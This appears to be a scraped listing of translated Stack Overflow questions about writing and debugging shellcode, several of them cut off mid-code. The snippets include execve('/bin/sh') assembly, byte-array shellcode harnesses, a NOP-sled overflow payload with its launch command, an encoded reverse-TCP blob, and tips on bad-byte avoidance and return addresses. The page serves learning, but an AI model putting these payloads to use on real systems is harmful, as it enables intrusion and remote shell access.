我有一些 VBA 代码,用于将 COM vtable 中的函数指针之一与汇编代码的 NO-OP 位交换。它在 twinBASIC 中工作,这是一个独立的 VBA 环境,所以我知道我已经非常接近了,但是在 Excel 中它崩溃了。
这是 minrepro,可以在 tB 中运行,理论上不能在 Excel VBA 中运行。
Class DummyThing
Sub DoNothing()
End Sub
End Class
Module VBA
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As LongPtr, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As …Run Code Online (Sandbox Code Playgroud) 我正在学习计算机安全的基础知识,并且我正在尝试执行一些我写过的shellcode.我按照这里给出的步骤
http://dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf
http://webcache.googleusercontent.com/search?q=cache:O3uJcNhsksAJ:dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf+own+shellcode&cd=1&hl=nl&ct=clnk&gl=nl
$ cat pause.s
xor %eax,%eax
mov $29,%al
int $0x80
$ as -o pause.o pause.s
$ ld -o pause pause.o
ld: warning: cannot find entry symbol _start; defaulting to <<some address here>>
$ ./pause
^C
$ objdump -d ./pause
pause: file format elf64-x86_64
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: b0 1d mov $0x1d,%al
8048058: cd 80 int $0x8
$
Run Code Online (Sandbox Code Playgroud)
由于我让暂停程序工作,我只是将objdump输出复制到ac文件.
test.c的:
int main()
{
char s[] = "\x31\xc0\xb0\x1d\xcd\x80";
(*(void(*)())s)();
}
Run Code Online (Sandbox Code Playgroud)
但这会产生段错误.现在,这只能归功于Arch Linux(?)的安全措施.那我怎么能让它运作起来呢?
我试图在汇编中编写shellcode.我需要执行/usr/bin/killall命令和/usr/bin/wget命令.我有两个命令在shellcode中使用execve()syscall 完美运行.但是现在我想要将这两个结合起来,但这是不可能的,因为程序在执行第一个execve()调用时退出.(摘自execve():execve()成功后不返回).
我该如何进行2次execve()通话?还是有另一种方法来调用都/usr/bin/killall和/usr/bin/wget同一个shell代码?
提前问候和感谢!
如何找到特定指令的内存地址(用于漏洞编写)?
具体来说,我正在寻找没有Service Pack的Windows XP上的call ebp指令,user32.dll我可以指向它的地址EIP.我在目标上安装了Immunity Debugger和OllyDBG.
我现在正在经历"Hacking;剥削艺术",并且正在练习编写shell代码注入我编写的一些示例代码.
我正在将shell代码注入环境变量.在lldb中,我可以看到我正在覆盖返回地址,并且EIP被设置为我的NOP雪橇的中间位置.但是,它会抛出"EXC_BAD_ACCESS"和段错误.
这是我的shellcode的堆栈部分:
0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"
Run Code Online (Sandbox Code Playgroud)
调用lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40')执行缓冲区溢出,这是我们在segfaults时得到的:
Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
frame #0: 0xbffffc5e
-> 0xbffffc5e: nop
0xbffffc5f: nop
0xbffffc60: nop
0xbffffc61: nop
Run Code Online (Sandbox Code Playgroud)
我正在使用
gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer
编译代码,我正在使用带有和选项集的change_mach_o_flags.py脚本.--no-pie--executable-heap
我认为问题是osx自动将堆栈设置为不可执行.不幸的是,-z execstack在osx中似乎没有gcc 的选项.也没有execstack使用的实用程序.
我已经浏览了网页,无论如何都无法找到我的编译代码中的堆栈可执行文件.有没有办法做到这一点,如果是这样,怎么样?
我在MAC OSX上,我试图通过程序集调用execve系统调用..他的操作码是59.在linux中我必须将操作码设置为eax,然后将参数设置到其他寄存器中,但在这里我必须将操作码放入eax并将参数从右向左推入堆栈.
所以我需要execve("/ bin/sh",NULL,NULL),我发现某个地方有程序集null = 0,所以我将null放入第二和第三个参数.
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
pop ebx ;stringa
push 0x0 ;3rd param
push 0x0 ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
int 0x80
string:
call main
db '/bin/sh',0
Run Code Online (Sandbox Code Playgroud)
当我尝试执行它时说:系统调用错误:12
当我尝试用 C 执行 shellcode(一个基本的反向 TCP,指向本地地址)时遇到问题。
我从基础开始,编写了以下代码:
#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char * argv[])
{
unsigned char shellcode[] = \
"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
"\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
"\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
"\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
"\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
"\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
"\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
"\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
"\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
"\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
"\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
"\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
"\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
;
int(*ret)() = (int(*)())shellcode;
ret();
}
return 1;
}
Run Code Online (Sandbox Code Playgroud)
(我剪切了示例的 shellcode)当我使用 Visual Studio Community 2017 编译这个 .c 文件时,我收到一些关于未使用的 argv 和 argc 的警告,以及 ret 中从 () 到 (void) 的转换。
然后我尝试执行该文件,并得到一个很棒的“已停止工作”。所以我在 Visual Studio 中启动调试,这是我得到的:

所以这是一个访问冲突错误,但是为什么呢?我在谷歌上搜索了一下,似乎这个错误可能有很多原因,但我不明白为什么它会发生在我身上。
我正在尝试编写解码器存根,但遇到了0xFF作为坏字符的限制。我正在使用该jmp-call-pop方法将我编码的 shellcode 的地址放入一个寄存器中。这是相关的片段:
401012: e8 eb ff ff ff call 0x401002
Run Code Online (Sandbox Code Playgroud)
似乎call总是0xFF以字节为单位使用。是否有另一条指令在执行时会压入rip堆栈并跳转到另一段代码?我试过手动将地址推送到堆栈上,但这会导致空字节,因为我的地址有 3 个字节长并且需要填充。
我的机器代码中不允许的字节是:
我想编写一个汇编程序,该程序通过 EXECVE(系统调用 #0x3C)程序 /bin/ls 和开关 -al 执行。
手册页 (man 2 execve) 指出调用需要三个值:
int execve(const char *filename, char *const argv[], char *const envp[]);
我不太明白如何建立三个论点。据我所知,第一个参数进入RDI,第二个进入RSI,第三个进入RDX。我相信设置第一个就足够了
push 0x736c2f2f ;sl//
push 0x6e69622f ;nib/
mov rdi, rsp
Run Code Online (Sandbox Code Playgroud)
对于第三个,事情很简单:
xor r11, r11
mov rdx, r11
Run Code Online (Sandbox Code Playgroud)
我的问题是我不知道如何构建第二个参数,它应该是一个包含 ['/bin//ls', '-aal']
我需要为 x86-64 编写它,所以请不要int 0x80提出建议。
我是 asm/shellcode 新手,我在编译 ParrotOS 中作为模板包含的示例 shellcode 时遇到了麻烦。
我浏览了以下主题,但它无法解决我的问题:
我尝试使用ascommand 而不是gcc,但是我遇到了同样的错误。
char code[] =
"\xe9\x1e\x00\x00\x00" // jmp 8048083 <MESSAGE>
"\xb8\x04\x00\x00\x00" // mov $0x4,%eax
"\xbb\x01\x00\x00\x00" // mov $0x1,%ebx
"\x59" // pop %ecx
"\xba\x0f\x00\x00\x00" // mov $0xf,%edx
"\xcd\x80" // int $0x80
"\xb8\x01\x00\x00\x00" // mov $0x1,%eax
"\xbb\x00\x00\x00\x00" // mov $0x0,%ebx
"\xcd\x80" // int $0x80
"\xe8\xdd\xff\xff\xff" // call 8048065 <GOBACK>
"give me a bottle of rum!\r\n"; // OR "\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
// "\x6f\x72\x6c\x64\x21\x0d\x0a"
int main(int argc, char **argv)
{
(*(void(*)())code)(); …Run Code Online (Sandbox Code Playgroud)